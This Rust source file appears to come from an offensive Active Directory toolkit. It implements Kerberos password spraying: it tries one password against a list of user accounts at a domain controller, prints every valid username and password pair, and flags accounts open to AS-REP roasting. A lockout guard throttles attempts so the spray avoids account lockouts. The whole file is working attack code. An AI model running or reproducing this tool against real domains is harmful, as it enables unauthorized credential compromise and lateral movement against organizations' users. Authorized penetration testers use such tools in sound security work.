use anyhow::{Context, Result};
use clap::Parser;
use std::collections::HashMap;
use std::time::Instant;
#[derive(Parser)]
pub(crate) struct SprayArgs {
#[arg(long)]
pub kdc: String,
#[arg(long)]
pub realm: String,
#[arg(long)]
pub users: String,
#[arg(long, default_value = "")]
pub password: String,
#[arg(long, default_value_t = 0)]
pub lockout_threshold: u32,
#[arg(long, default_value_t = 300)]
pub lockout_window: u64,
}
pub(crate) async fn spray(mut a: SprayArgs) -> Result<()> {
use adhammer_kerberos::{check_credential, CredResult};
a.password = crate::resolve_secret(&a.password, "ADHAMMER_PASSWORD")?;
let users: Vec<String> = if let Some(path) = a.users.strip_prefix('@') {
std::fs::read_to_string(path)
.with_context(|| format!("read users list {path}"))?
.lines()
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty())
.collect()
} else if std::path::Path::new(&a.users).is_file() {
eprintln!(
"[!] `--users {}` looks like a file path — use `--users @{}` to read it as a list. Treating the arg as one user name.",
a.users, a.users
);
vec![a.users.clone()]
} else {
a.users
.split(',')
.map(|u| u.trim().to_string())
.filter(|u| !u.is_empty())
.collect()
};
if users.is_empty() {
anyhow::bail!("no users to spray (empty --users)");
}
eprintln!(
"[*] spraying {} user(s) against {} @ {} …",
users.len(),
a.realm,
a.kdc
);
let (mut valid, mut asrep, mut disabled, mut other) = (0u32, 0u32, 0u32, 0u32);
let window = std::time::Duration::from_secs(a.lockout_window);
let mut failures: HashMap<String, Vec<Instant>> = HashMap::new();
let mut guarded: u32 = 0;
for u in &users {
if a.lockout_threshold > 0 {
let hits = failures.entry(u.clone()).or_default();
let now = Instant::now();
hits.retain(|t| now.duration_since(*t) < window);
if hits.len() as u32 >= a.lockout_threshold {
guarded += 1;
eprintln!(
"[!] skipping {u} — hit lockout guard ({} failures in last {}s)",
hits.len(),
a.lockout_window
);
continue;
}
}
match check_credential(u, &a.password, &a.realm, &a.kdc).await {
Ok(CredResult::Valid) => {
valid += 1;
println!("[+] VALID {u}:{}", a.password);
}
Ok(CredResult::ValidButExpired) => {
valid += 1;
println!("[+] VALID (expired) {u}:{}", a.password);
}
Ok(CredResult::Disabled) => {
disabled += 1;
println!("[-] disabled/locked {u}");
}
Ok(CredResult::NoPreAuth) => {
asrep += 1;
println!("[*] AS-REP roastable {u} (no pre-auth)");
}
Ok(CredResult::Invalid) => {
if a.lockout_threshold > 0 {
failures.entry(u.clone()).or_default().push(Instant::now());
}
}
Ok(CredResult::NoSuchUser) => {} Ok(CredResult::Other(c)) => {
other += 1;
eprintln!(" {u}: KDC error {c}");
}
Err(e) => {
other += 1;
eprintln!(" {u}: {e}");
}
}
}
eprintln!(
"[*] spray done: {}/{} valid, {} AS-REP roastable, {} disabled, {} other error(s)",
valid,
users.len(),
asrep,
disabled,
other
);
if a.lockout_threshold > 0 && guarded > 0 {
eprintln!(
"[*] lockout guard triggered on {guarded} user(s) ({}/{}s threshold)",
a.lockout_threshold, a.lockout_window
);
}
Ok(())
}